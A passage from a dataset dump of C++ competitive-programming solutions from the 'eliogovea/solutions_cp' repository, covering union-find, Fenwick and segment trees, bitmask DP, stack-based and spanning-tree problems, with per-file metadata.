].push_back( i );\n e[i].mst = true;\n // cout << e[i].ini << \" \" << e[i].fin << endl;\n Sol += e[i].cost;\n }\n\n depth[1] = 1;\n dfs( 1 );\n //for( int i = 1; i <= n; i++ )\n // cout << p[i] << endl;\n fill( mk, mk+e.size()+1, 0 );\n for( int i = 0; i < e.size(); i++ ){\n if( e[i].mst ) continue;\n //cout << e[i].ini << \" \" << e[i].fin << endl;\n int s = FindMax( e[i].ini, e[i].fin, e[i].cost );\n Sol -= s*e[i].cost;\n }\n for(int i = 0; i < e.size(); i++ ){\n if( e[i].mst && !mk[ i ] ) sol2++;\n }\n cout << sol2 << \" \" << Sol << '\\n';\n}\n\nint FindMax( int u, int v, int cc ){\n int res = 0;\n if( depth[u] < depth[v] )\n swap( u,v );\n while( depth[ u ] > depth[v] ){\n if( e[ ed[u] ].cost == cc && !mk[ ed[u] ] ){\n res++;\n mk[ ed[u] ] = true;\n }\n u = p[u];\n }\n while( u != v ){\n if( e[ ed[u] ].cost == cc && !mk[ ed[u] ] )\n res++,\n mk[ ed[u] ] = true;\n if( e[ ed[v] ].cost == cc && !mk[ ed[v] ] )\n res++,\n mk[ ed[v] ] = true;\n\n u = p[u];\n v = p[v];\n }\n return res;\n}\n\nvoid dfs( int u ){\n mk[u] = true;\n for( int i = 0; i < g[u].size(); i++ ){\n int id = g[u][i];\n int v = e[ id ].ini==u? e[ id ].fin: e[ id ].ini;\n if( mk[v] ) continue;\n p[v] = u;\n ed[v] = id;\n depth[v] = depth[u]+1;\n dfs( v );\n }\n}\n\n\n" }, { "alpha_fraction": 0.3641851246356964, "alphanum_fraction": 0.3863179087638855, "avg_line_length": 14.032258033752441, "blob_id": "5da2fbc2daae176c4bee19a421d5a434fbad6bad", "content_id": "e7dce513f0b8d02384bde5f6f3cdfbd396807baf", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 497, "license_type": "no_license", "max_line_length": 37, "num_lines": 31, "path": "/COJ/eliogovea-cojAC/eliogovea-p2644-Accepted-s537790.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<iostream>\r\n#include<map>\r\nusing namespace std;\r\n\r\nlong long x,ac,cl,lu[100],n,ans[100];\r\n\r\nint main()\r\n{\r\n cin >> cl;\r\n\r\n map<long long,int> S;\r\n\r\n for(int i=0; i<cl; i++)\r\n cin >> lu[i];\r\n\r\n for(cin >>n ;n--;)\r\n {\r\n S[ac]++;\r\n cin >> x;\r\n ac+=x;\r\n\r\n for(int i=0; i<cl; i++)\r\n if( S[ac-lu[i]]>0 )\r\n ans[i]+=S[ac-lu[i]];\r\n }\r\n\r\n for(int i=0; i<cl; i++)\r\n cout << ans[i] << endl;\r\n\r\n return 0;\r\n}\r\n" }, { "alpha_fraction": 0.3080129623413086, "alphanum_fraction": 0.3260768949985504, "avg_line_length": 19.808080673217773, "blob_id": "956cbbe258f7b819fc293e1c59fe49dd14a252ee", "content_id": "bacb9f536351be9ae03d1dc185c0fba12fe1fe28", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2159, "license_type": "no_license", "max_line_length": 76, "num_lines": 99, "path": "/COJ/eliogovea-cojAC/eliogovea-p3789-Accepted-s1120081.cc", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\r\n\tint n, m;\r\n\twhile (cin >> n >> m) {\r\n\t\tvector <vector <int> > v(n, vector <int> (m));\r\n\t\tvector <vector <int> > L(n, vector <int> (m));\r\n\t\tvector <vector <int> > R(n, vector <int> (m));\r\n\t\tvector <vector <int> > U(n, vector <int> (m));\r\n\r\n\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\tfor (int j = 0; j < m; j++) {\r\n\t\t\t\tcin >> v[i][j];\r\n\t\t\t}\r\n\t\t}\r\n\t\t// cerr << \"read ok\\n\";\r\n\t\tfor (int r = 0; r < n; r++) {\r\n\t\t\tfor (int c = 0; c < m; c++) {\r\n\t\t\t\tif (r == 0) {\r\n\t\t\t\t\tU[r][c] = 1;\r\n\t\t\t\t} else {\r\n\t\t\t\t\tif (v[r][c] == v[r - 1][c] + 1) {\r\n\t\t\t\t\t\tU[r][c] = U[r - 1][c] + 1;\r\n\t\t\t\t\t} else {\r\n\t\t\t\t\t\tU[r][c] = 1;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\t// cerr << \"U ok\\n\";\r\n\t\tfor (int r = 0; r < n; r++) {\r\n\t\t\tfor (int c = 0; c < m; c++) {\r\n\t\t\t\tif (c == 0) {\r\n\t\t\t\t\tL[r][c] = 1;\r\n\t\t\t\t} else {\r\n\t\t\t\t\tif (v[r][c] == v[r][c - 1] + 1) {\r\n\t\t\t\t\t\tL[r][c] = L[r][c - 1] + 1;\r\n\t\t\t\t\t} else {\r\n\t\t\t\t\t\tL[r][c] = 1;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\t// cerr << \"L ok\\n\";\r\n\t\tfor (int r = 0; r < n; r++) {\r\n\t\t\tfor (int c = m - 1; c >= 0; c--) {\r\n\t\t\t\tif (c == m - 1) {\r\n\t\t\t\t\tR[r][c] = 1;\r\n\t\t\t\t} else {\r\n\t\t\t\t\tif (v[r][c] + 1 == v[r][c + 1]) {\r\n\t\t\t\t\t\tR[r][c] = R[r][c + 1] + 1;\r\n\t\t\t\t\t} else {\r\n\t\t\t\t\t\tR[r][c] = 1;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\t// cerr << \"R ok\\n\";\r\n\t\tint ans = 1;\r\n\t\tfor (int r = 0; r < n; r++) {\r\n\t\t\tvector <int> ll(m, -1);\r\n\t\t\t{\r\n\t\t\t\tstack <int> st;\r\n\t\t\t\tfor (int c = m - 1; c >= 0; c--) {\r\n\t\t\t\t\twhile (!st.empty() && U[r][c] < U[r][st.top()]) {\r\n\t\t\t\t\t\tll[st.top()] = c;\r\n\t\t\t\t\t\tst.pop();\r\n\t\t\t\t\t}\r\n\t\t\t\t\tst.push(c);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\t// cerr << \"ll ok\\n\";\r\n\t\t\tvector <int> rr(m, m);\r\n\t\t\t{\r\n\t\t\t\tstack <int> st;\r\n\t\t\t\tfor (int c = 0; c < m; c++) {\r\n\t\t\t\t\twhile (!st.empty() && U[r][c] < U[r][st.top()]) {\r\n\t\t\t\t\t\trr[st.top()] = c;\r\n\t\t\t\t\t\tst.pop();\r\n\t\t\t\t\t}\r\n\t\t\t\t\tst.push(c);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\t// cerr << \"rr ok\\n\";\r\n\t\t\tfor (int c = 0; c < m; c++) {\r\n\t\t\t\tint vl = min(c - ll[c], L[r][c]);\r\n\t\t\t\tint vr = min(rr[c] - c, R[r][c]);\r\n\t\t\t\t// cerr << r << \" \" << c << \" \" << ll[c] << \" \" << \" \" << rr[c] << \"\\n\";\r\n\t\t\t\tans = max(ans, (vl + vr - 1) * U[r][c]);\r\n\t\t\t}\r\n\t\t}\r\n\t\tcout << ans << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.39892473816871643, "alphanum_fraction": 0.4236559271812439, "avg_line_length": 11.47826099395752, "blob_id": "4728bcb651707a0291b84bb530ac4a40f9942d31", "content_id": "4b22fdfd0eaaa54f70fa6ac530cfee6ced9dac96", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 930, "license_type": "no_license", "max_line_length": 38, "num_lines": 69, "path": "/COJ/eliogovea-cojAC/eliogovea-p1751-Accepted-s591916.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n#include <map>\r\n#include <algorithm>\r\nusing namespace std;\r\n\r\nconst int MAXN = 200010;\r\n\r\nint c, n, id;\r\nstring s1, s2;\r\nmap<string, int> m;\r\nint p[MAXN], rank[MAXN];\r\n\r\nvoid make(int x)\r\n{\r\n\tp[x] = x;\r\n\trank[x] = 1;\r\n}\r\n\r\nint find(int x)\r\n{\r\n\tif (p[x] != x) p[x] = find(p[x]);\r\n\treturn p[x];\r\n}\r\n\r\nint join(int x, int y)\r\n{\r\n\tint px = find(x);\r\n\tint py = find(y);\r\n\r\n\tif (px == py) return rank[py];\r\n\r\n\tp[px] = py;\r\n\trank[py] += rank[px];\r\n\treturn rank[py];\r\n}\r\n\r\nint main()\r\n{\r\n\tfor (cin >> c; c--;)\r\n\t{\r\n\t\tcin >> n;\r\n\r\n\t\tfor (int i = 1; i <= n; i++)\r\n\t\t{\r\n\t\t\tcin >> s1 >> s2;\r\n\r\n\t\t\tif (m.find(s1) == m.end())\r\n\t\t\t{\r\n\t\t\t\tm[s1] = id++;\r\n\t\t\t\tmake(id - 1);\r\n\t\t\t}\r\n\t\t\tif (m.find(s2) == m.end())\r\n\t\t\t{\r\n\t\t\t\tm[s2] = id++;\r\n\t\t\t\tmake(id - 1);\r\n\t\t\t}\r\n\r\n\t\t\tcout << join(m[s1], m[s2]) << endl;\r\n\t\t}\r\n\r\n\t\tif (c)\r\n\t\t{\r\n\t\t\t//for (int i = 0; i < id; i++)\r\n\t\t\t\t//p[i] = rank[i] = 0;\r\n\t\t\tm.clear();\r\n\t\t\tid = 0;\r\n\t\t}\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.4027777910232544, "alphanum_fraction": 0.4138889014720917, "avg_line_length": 15.142857551574707, "blob_id": "f90e7853bec2b0febfb79dccf6eeab723029810a", "content_id": "7531462e6e8a953901990932146c62cf9de951b8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 360, "license_type": "no_license", "max_line_length": 51, "num_lines": 21, "path": "/COJ/eliogovea-cojAC/eliogovea-p2716-Accepted-s579440.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <cstdio>\r\n#include <algorithm>\r\nusing namespace std;\r\n\r\nint c, n, x, mx, md;\r\n\r\nint main()\r\n{\r\n\tfor (scanf(\"%d\", &c); c--;)\r\n\t{\r\n\t\tscanf(\"%d\", &n);\r\n\t\tfor (int i = 0; i < n; i++)\r\n\t\t{\r\n\t\t\tscanf(\"%d\", &x);\r\n\t\t\tif (i && x < mx) md = max(md, mx - x);\r\n\t\t\tmx = max(mx, x);\r\n\t\t}\r\n\t\tprintf(\"%d\\n%d\\n\", md - md / 2, x + md - md / 2);\r\n\t\tmx = md = 0;\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.39259257912635803, "alphanum_fraction": 0.42098766565322876, "avg_line_length": 13, "blob_id": "9e45e2b834f2540374c9188b926ca98ee3114158", "content_id": "1ea33df4dd6d7d69a7e82f4cb66f4f182e302aae", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 810, "license_type": "no_license", "max_line_length": 39, "num_lines": 54, "path": "/COJ/eliogovea-cojAC/eliogovea-p3522-Accepted-s920821.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int N = 1000000;\r\n\r\nint sum[N + 5];\r\n\r\nint n, x;\r\n\r\nlong long bit[N + 5];\r\n\r\nvoid update(int p, int v) {\r\n\twhile (p <= 2 * n + 5) {\r\n\t\tbit[p] += v;\r\n\t\tp += p & -p;\r\n\t}\r\n}\r\n\r\nlong long query(int p) {\r\n\tlong long res = 0;\r\n\twhile (p > 0) {\r\n\t\tres += bit[p];\r\n\t\tp -= p & -p;\r\n\t}\r\n\treturn res;\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tfor (int i = 1; i <= N; i++) {\r\n\t\tfor (int j = i + i; j <= N; j += i) {\r\n\t\t\tsum[j] += i;\r\n\t\t}\r\n\t}\r\n\tcin >> n;\r\n\tint a = 0;\r\n\tint d = 0;\r\n\tlong long ans = 0;\r\n\tupdate(n + 1, 1);\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tcin >> x;\r\n\t\tif (sum[x] > x) {\r\n\t\t\ta++;\r\n\t\t} else if (sum[x] < x){\r\n\t\t\td++;\r\n\t\t}\r\n\t\tint diff = n + 1 + a - d;\r\n\t\tans += query(diff);\r\n\t\tupdate(diff, 1);\r\n\t}\r\n\tcout << ans << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.39219751954078674, "alphanum_fraction": 0.4142480194568634, "avg_line_length": 19.835390090942383, "blob_id": "14644ffdb778b3f3991ee6b2f672cefb0369a5d2", "content_id": "f9900244ded2a5d5ab4ca57d16291982228d2f19", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 5306, "license_type": "no_license", "max_line_length": 58, "num_lines": 243, "path": "/COJ/eliogovea-cojAC/eliogovea-p2886-Accepted-s923301.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int INF = 1e9;\r\n\r\nstruct ST {\r\n\tstruct data {\r\n\t\tint mn, freq;\r\n\t\tdata() {\r\n\t\t\tmn = INF;\r\n\t\t\tfreq = 0;\r\n\t\t}\r\n\t\tdata(int _mn, int _freq) {\r\n\t\t\tmn = _mn; freq = _freq;\r\n\t\t}\r\n\t};\r\n\tdata merge(const data &a, const data &b) {\r\n\t\tif (a.mn < b.mn) {\r\n\t\t\treturn a;\r\n\t\t} else if (b.mn < a.mn) {\r\n\t\t\treturn b;\r\n\t\t} else {\r\n\t\t\treturn data(a.mn, a.freq + b.freq);\r\n\t\t}\r\n\t}\r\n\tint n;\r\n\tvector <data> tree;\r\n\tvector <int> to_add;\r\n\tST(int _n) {\r\n\t\tn = _n;\r\n\t\ttree = vector <data> (4 * n);\r\n\t\tto_add = vector <int>(4 * n, 0);\r\n\t}\r\n\tvoid build(int x, int l, int r) {\r\n\t\ttree[x].mn = 0;\r\n\t\ttree[x].freq = r - l + 1;\r\n\t\tif (l != r) {\r\n\t\t\tint m = (l + r) >> 1;\r\n\t\t\tbuild(2 * x, l, m);\r\n\t\t\tbuild(2 * x + 1, m + 1, r);\r\n\t\t}\r\n\t}\r\n\tvoid build() {\r\n\t\tbuild(1, 1, n);\r\n\t}\r\n\tvoid push(int x, int l, int r) {\r\n\t\tif (to_add[x] != 0) {\r\n\t\t\ttree[x].mn += to_add[x];\r\n\t\t\tif (l != r) {\r\n\t\t\t\tto_add[2 * x] += to_add[x];\r\n\t\t\t\tto_add[2 * x + 1] += to_add[x];\r\n\t\t\t}\r\n\t\t\tto_add[x] = 0;\r\n\t\t}\r\n\t}\r\n\tvoid update(int x, int l, int r, int ul, int ur, int v) {\r\n\t\tpush(x, l, r);\r\n\t\tif (l > ur || r < ul) {\r\n\t\t\treturn;\r\n\t\t}\r\n\t\tif (l >= ul && r <= ur) {\r\n\t\t\tto_add[x] += v;\r\n\t\t\tpush(x, l, r);\r\n\t\t} else {\r\n\t\t\tint m = (l + r) >> 1;\r\n\t\t\tupdate(2 * x, l, m, ul, ur, v);\r\n\t\t\tupdate(2 * x + 1, m + 1, r, ul, ur, v);\r\n\t\t\ttree[x] = merge(tree[2 * x], tree[2 * x + 1]);\r\n\t\t}\r\n\t}\r\n\tvoid update(int ul, int ur, int v) {\r\n\t\tupdate(1, 1, n, ul, ur, v);\r\n\t}\r\n\tdata query(int x, int l, int r, int ql, int qr) {\r\n\t\tpush(x, l, r);\r\n\t\tif (l > qr || r < ql) {\r\n\t\t\treturn data();\r\n\t\t}\r\n\t\tif (l >= ql && r <= qr) {\r\n\t\t\treturn tree[x];\r\n\t\t}\r\n\t\tint m = (l + r) >> 1;\r\n\t\tdata q1 = query(2 * x, l, m, ql, qr);\r\n\t\tdata q2 = query(2 * x + 1, m + 1, r, ql, qr);\r\n\t\treturn merge(q1, q2);\r\n\t}\r\n\tint query() {\r\n\t\tdata res = query(1, 1, n, 1, n);\r\n\t\tif (res.mn != 0) {\r\n\t\t\treturn 0;\r\n\t\t}\r\n\t\treturn res.freq;\r\n\t}\r\n};\r\n\r\nconst int MAXN = 100000;\r\n\r\nvector <int> factors[MAXN + 5];\r\nvector <int> primes;\r\nvector <int> pos;\r\n\r\nvoid fill_sieve() {\r\n\tpos = vector <int> (MAXN + 5, 0);\r\n\tfor (int i = 2; i <= MAXN; i++) {\r\n\t\tif (!factors[i].size()) {\r\n\t\t\tpos[i] = primes.size();\r\n\t\t\tprimes.push_back(i);\r\n\t\t\tfor (int j = i; j <= MAXN; j += i) {\r\n\t\t\t\tfactors[j].push_back(i);\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n}\r\n\r\nbool solve_case() {\r\n\tint n, m, k;\r\n\tcin >> n >> k >> m;\r\n\tif (n == 0 && k == 0 && m == 0) {\r\n return false;\r\n\t}\r\n\tvector <int> arr(n + 5);\r\n\tfor (int i = 1; i <= n; i++) {\r\n\t\tcin >> arr[i];\r\n\t}\r\n\tvector <set <int> > ppos(primes.size());\r\n\tfor (int i = 1; i <= n; i++) {\r\n\t\tfor (int j = 0; j < factors[ arr[ i ] ].size(); j++) {\r\n\t\t\tppos[ pos[ factors[ arr[ i ] ][ j ] ] ].insert(i);\r\n\t\t}\r\n\t}\r\n\tST st(n - k + 1);\r\n\tst.build();\r\n\tfor (int i = 0; i < primes.size(); i++) {\r\n\t\tif (ppos[i].size() > 1) {\r\n\t\t\tset <int>::iterator a, b;\r\n\t\t\ta = ppos[i].begin();\r\n\t\t\tb = a; b++;\r\n\t\t\twhile (b != ppos[i].end()) {\r\n\t\t\t\tif (*b - *a + 1 <= k) {\r\n\t\t\t\t\tst.update(max(*b - k + 1, 1), *a, 1);\r\n\t\t\t\t}\r\n\t\t\t\ta++;\r\n\t\t\t\tb++;\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\tcout << n - k + 1 - st.query() << \"\\n\";\r\n\tint p, v;\r\n\twhile (m--) {\r\n\t\tcin >> p >> v;\r\n\t\tfor (int i = 0; i < factors[ arr[p] ].size(); i++) {\r\n\t\t\tint prime = factors[arr[p]][i];\r\n\t\t\tint pp = pos[prime];\r\n\t\t\tset <int> &S = ppos[pp];\r\n\t\t\tif (S.size() == 1) {\r\n\t\t\t\tS.clear();\r\n\t\t\t\tcontinue;\r\n\t\t\t}\r\n\t\t\tset <int>::iterator it = S.find(p);\r\n\t\t\tif (it == S.begin()) {\r\n\t\t\t\tset <int>::iterator y = it; y++;\r\n\t\t\t\tif (*y - *it + 1 <= k) {\r\n\t\t\t\t\tst.update(max(*y - k + 1, 1), *it, -1);\r\n\t\t\t\t}\r\n\t\t\t\tS.erase(it);\r\n\t\t\t\tcontinue;\r\n\t\t\t}\r\n\t\t\tset <int>::iterator y = it; y++;\r\n\t\t\tif (y == S.end()) {\r\n\t\t\t\tset <int>::iterator x = it; x--;\r\n\t\t\t\tif (*it - *x + 1 <= k) {\r\n\t\t\t\t\tst.update(max(*it - k + 1, 1), *x, -1);\r\n\t\t\t\t}\r\n\t\t\t\tS.erase(it);\r\n\t\t\t\tcontinue;\r\n\t\t\t}\r\n\t\t\tset <int>::iterator x = it; x--;\r\n\t\t\tif (*y - *it + 1 <= k) {\r\n\t\t\t\tst.update(max(*y - k + 1, 1), *it, -1);\r\n\t\t\t}\r\n\t\t\tif (*it - *x + 1 <= k) {\r\n\t\t\t\tst.update(max(*it - k + 1, 1), *x, -1);\r\n\t\t\t}\r\n\t\t\tif (*y - *x + 1 <= k) {\r\n\t\t\t\tst.update(max(*y - k + 1, 1), *x, 1);\r\n\t\t\t}\r\n\t\t\tS.erase(it);\r\n\t\t}\r\n\t\tarr[p] = v;\r\n\t\tfor (int i = 0; i < factors[ arr[ p ] ].size(); i++) {\r\n\t\t\tint prime = factors[ arr[ p ] ][ i ];\r\n\t\t\tint pp = pos[prime];\r\n\t\t\tset <int> &S = ppos[pp];\r\n\t\t\tassert(S.find(p) == S.end());\r\n\t\t\tS.insert(p);\r\n\t\t\tif (S.size() == 1) {\r\n\t\t\t\tcontinue;\r\n\t\t\t}\r\n\t\t\tset <int>::iterator it = S.find(p);\r\n\t\t\tif (it == S.begin()) {\r\n\t\t\t\tset <int>::iterator y = it; y++;\r\n\t\t\t\tif (*y - *it + 1 <= k) {\r\n\t\t\t\t\tst.update(max(*y - k + 1, 1), *it, 1);\r\n\t\t\t\t}\r\n\t\t\t\tcontinue;\r\n\t\t\t}\r\n\t\t\tset <int>::iterator y = it; y++;\r\n\t\t\tif (y == S.end()) {\r\n\t\t\t\tset <int>::iterator x = it; x--;\r\n\t\t\t\tif (*it - *x + 1 <= k) {\r\n\t\t\t\t\tst.update(max(*it - k + 1, 1), *x, 1);\r\n\t\t\t\t}\r\n\t\t\t\tcontinue;\r\n\t\t\t}\r\n\t\t\tset <int>::iterator x = it; x--;\r\n\t\t\tif (*it - *x + 1 <= k) {\r\n\t\t\t\tst.update(max(*it - k + 1, 1), *x, 1);\r\n\t\t\t}\r\n\t\t\tif (*y - *it + 1 <= k) {\r\n\t\t\t\tst.update(max(*y - k + 1, 1), *it, 1);\r\n\t\t\t}\r\n\t\t\tif (*y - *x + 1 <= k) {\r\n\t\t\t\tst.update(max(*y - k + 1, 1), *x, -1);\r\n\t\t\t}\r\n\t\t}\r\n\t\tcout << n - k + 1 - st.query() << \"\\n\";\r\n\t}\r\n\tlong long sum = 0;\r\n\tfor (int i = 1; i <= n; i++) {\r\n\t\tsum += (long long)arr[i];\r\n\t}\r\n\tcout << sum << \"\\n\";\r\n\treturn true;\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\t//freopen(\"dat.txt\", \"r\", stdin);\r\n\tfill_sieve();\r\n\twhile (solve_case());\r\n}\r\n" }, { "alpha_fraction": 0.35081374645233154, "alphanum_fraction": 0.3896925747394562, "avg_line_length": 16.433332443237305, "blob_id": "efe0ec4f52b7151c20ef460da7a87d5b9b6dea26", "content_id": "a6495e6b3bfb07f4fec56b4af7bb6e91d826905c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1106, "license_type": "no_license", "max_line_length": 101, "num_lines": 60, "path": "/COJ/eliogovea-cojAC/eliogovea-p3865-Accepted-s1120037.cc", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nconst int MOD = 1000 * 1000 * 1000 + 7;\r\n\r\ninline void add(int &a, int b) {\r\n\ta += b;\r\n\tif (a >= MOD) {\r\n\t\ta -= MOD;\r\n\t}\r\n}\r\n\r\ninline int mul(int a, int b) {\r\n\treturn (long long)a * b % MOD;\r\n}\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\r\n\tint n;\r\n\tcin >> n;\r\n\r\n\tvector <int> v(n);\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tcin >> v[i];\r\n\t}\r\n\r\n\tvector <int> c(1 << n);\r\n\tvector <int> t(1 << n);\r\n\tc[0] = 0;\r\n\tt[0] = 1;\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tc[1 << i] = 1;\r\n\t\tt[1 << i] = v[i];\r\n\t}\r\n\tfor (int m = 1; m < (1 << n); m++) {\r\n\t\tc[m] = c[m ^ (m & -m)] + 1;\r\n\t\tt[m] = mul(t[m ^ (m & -m)], t[m & -m]);\r\n\t}\r\n\r\n\tvector <long long> dp(1 << n, -1);\r\n\tdp[0] = 0;\r\n\tfor (int i = 0; i < n; i++) {\r\n\t\tdp[1 << i] = 0;\r\n\t}\r\n\tfor (int m = 1; m < (1 << n); m++) {\r\n\t\tint sm = (m - 1) & m;\r\n\t\twhile (sm != 0) {\r\n\t\t\tlong long val = dp[sm] + dp[m ^ sm] + (long long)c[sm] * t[sm] + (long long)c[m ^ sm] * t[m ^ sm];\r\n\t\t\tif (dp[m] == -1 || val < dp[m]) {\r\n\t\t\t\tdp[m] = val;\r\n\t\t\t}\r\n\t\t\tsm = (sm - 1) & m;\r\n\t\t}\r\n\t}\r\n\r\n\tcout << dp[(1 << n) - 1] << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.36771300435066223, "alphanum_fraction": 0.3834080696105957, "avg_line_length": 13.928571701049805, "blob_id": "67f594aa153e4858995634b80bb9efa9195c669a", "content_id": "eac7424a6e16a9d94a74da0bb5298685f244a832", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 446, "license_type": "no_license", "max_line_length": 38, "num_lines": 28, "path": "/COJ/eliogovea-cojAC/eliogovea-p3147-Accepted-s776632.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nint tc, n, a[55];\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\tcin >> tc;\r\n\twhile (tc--) {\r\n\t\tcin >> n;\r\n\t\tbool ok = false;\r\n\t\tfor (int i = 0; i < n; i++) {\r\n\t\t\tcin >> a[i];\r\n\t\t\tif (!ok) {\r\n\t\t\t\tint sum = 0;\r\n\t\t\t\tfor (int j = i; j >= 0; j--) {\r\n\t\t\t\t\tsum += a[j];\r\n\t\t\t\t\tif (sum == 0) {\r\n\t\t\t\t\t\tok = true;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\tcout << (ok ? \"YES\" : \"NO\") << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.34629860520362854, "alphanum_fraction": 0.351317435503006, "avg_line_length": 18.435897827148438, "blob_id": "4ac203c017d192eec3457b09b10bac529dde599f", "content_id": "836e8421da5ce31b25a2da025ed968ae8106de24", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 797, "license_type": "no_license", "max_line_length": 47, "num_lines": 39, "path": "/COJ/eliogovea-cojAC/eliogovea-p3634-Accepted-s1009547.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\t//freopen(\"dat.txt\", \"r\", stdin);\r\n\tlong long n;\r\n\tlong long t;\r\n\tchar d;\r\n\tstring a, b, c;\r\n\r\n\twhile (cin >> n >> t >> d) {\r\n getline(cin, a);\r\n getline(cin, a);\r\n getline(cin, b);\r\n getline(cin, c);\r\n\r\n string s;\r\n for (int i = 1; i < b.size(); i += 2) {\r\n s += b[i];\r\n }\r\n\r\n long long start;\r\n if (d == 'L') {\r\n start = t % n;\r\n } else {\r\n start = n - (t % n);\r\n }\r\n cout << a << \"\\n\";\r\n cout << \"|\";\r\n for (int i = 0; i < n; i++) {\r\n cout << s[(start + i) % n] << \"|\";\r\n }\r\n cout << \"\\n\";\r\n cout << c << \"\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.37136930227279663, "alphanum_fraction": 0.39419087767601013, "avg_line_length": 12.176470756530762, "blob_id": "95907e97fbc7e19f3419c4fc3b6fc646cf2a358e", "content_id": "2ea881d011c930435aac44f8ac435cfa64e0b9b0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 482, "license_type": "no_license", "max_line_length": 39, "num_lines": 34, "path": "/COJ/eliogovea-cojAC/eliogovea-p2338-Accepted-s551010.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#define MAX 10\r\n\r\nchar q[2],aux[2];\r\nshort X[MAX],Y[MAX],Z[MAX];\r\nint a,b,c;\r\n\r\nint main()\r\n{\r\n\twhile(scanf(\"%s\",q) && q[0]!='Q')\r\n\t{\r\n\t\tif(q[0]=='P')\r\n\t\t{\r\n\t\t\tscanf(\"%d%d%d\",&a,&b,&c);\r\n\t\t\tif(X[a]&&Y[b]&&Z[c])printf(\"YES\\n\");\r\n\t\t\telse printf(\"NO\\n\");\r\n\t\t}\r\n\t\telse if(q[0]=='X')\r\n\t\t{\r\n\t\t\tscanf(\"%s%d\",aux,&a);\r\n\t\t\tX[a]^=1;\r\n\t\t}\r\n\t\telse if(q[0]=='Y')\r\n\t\t{\r\n\t\t\tscanf(\"%s%d\",aux,&a);\r\n\t\t\tY[a]^=1;\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\tscanf(\"%s%d\",aux,&a);\r\n\t\t\tZ[a]^=1;\r\n\t\t}\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.41447368264198303, "alphanum_fraction": 0.4309210479259491, "avg_line_length": 16.42424201965332, "blob_id": "ca2908a972b38379b6cdf1ab6edfb51c2b7d4e28", "content_id": "09586690fe387a46f82bca4db19b0db87c329091", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 608, "license_type": "no_license", "max_line_length": 63, "num_lines": 33, "path": "/COJ/eliogovea-cojAC/eliogovea-p2977-Accepted-s645182.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n#include <fstream>\r\n\r\nusing namespace std;\r\n\r\nint b, a, sol;\r\nint mark['Z' + 5];\r\nstring s;\r\n\r\nint main() {\r\n\t//freopen(\"e.in\", \"r\", stdin);\r\n\twhile (cin >> b && b) {\r\n\t\tcin >> 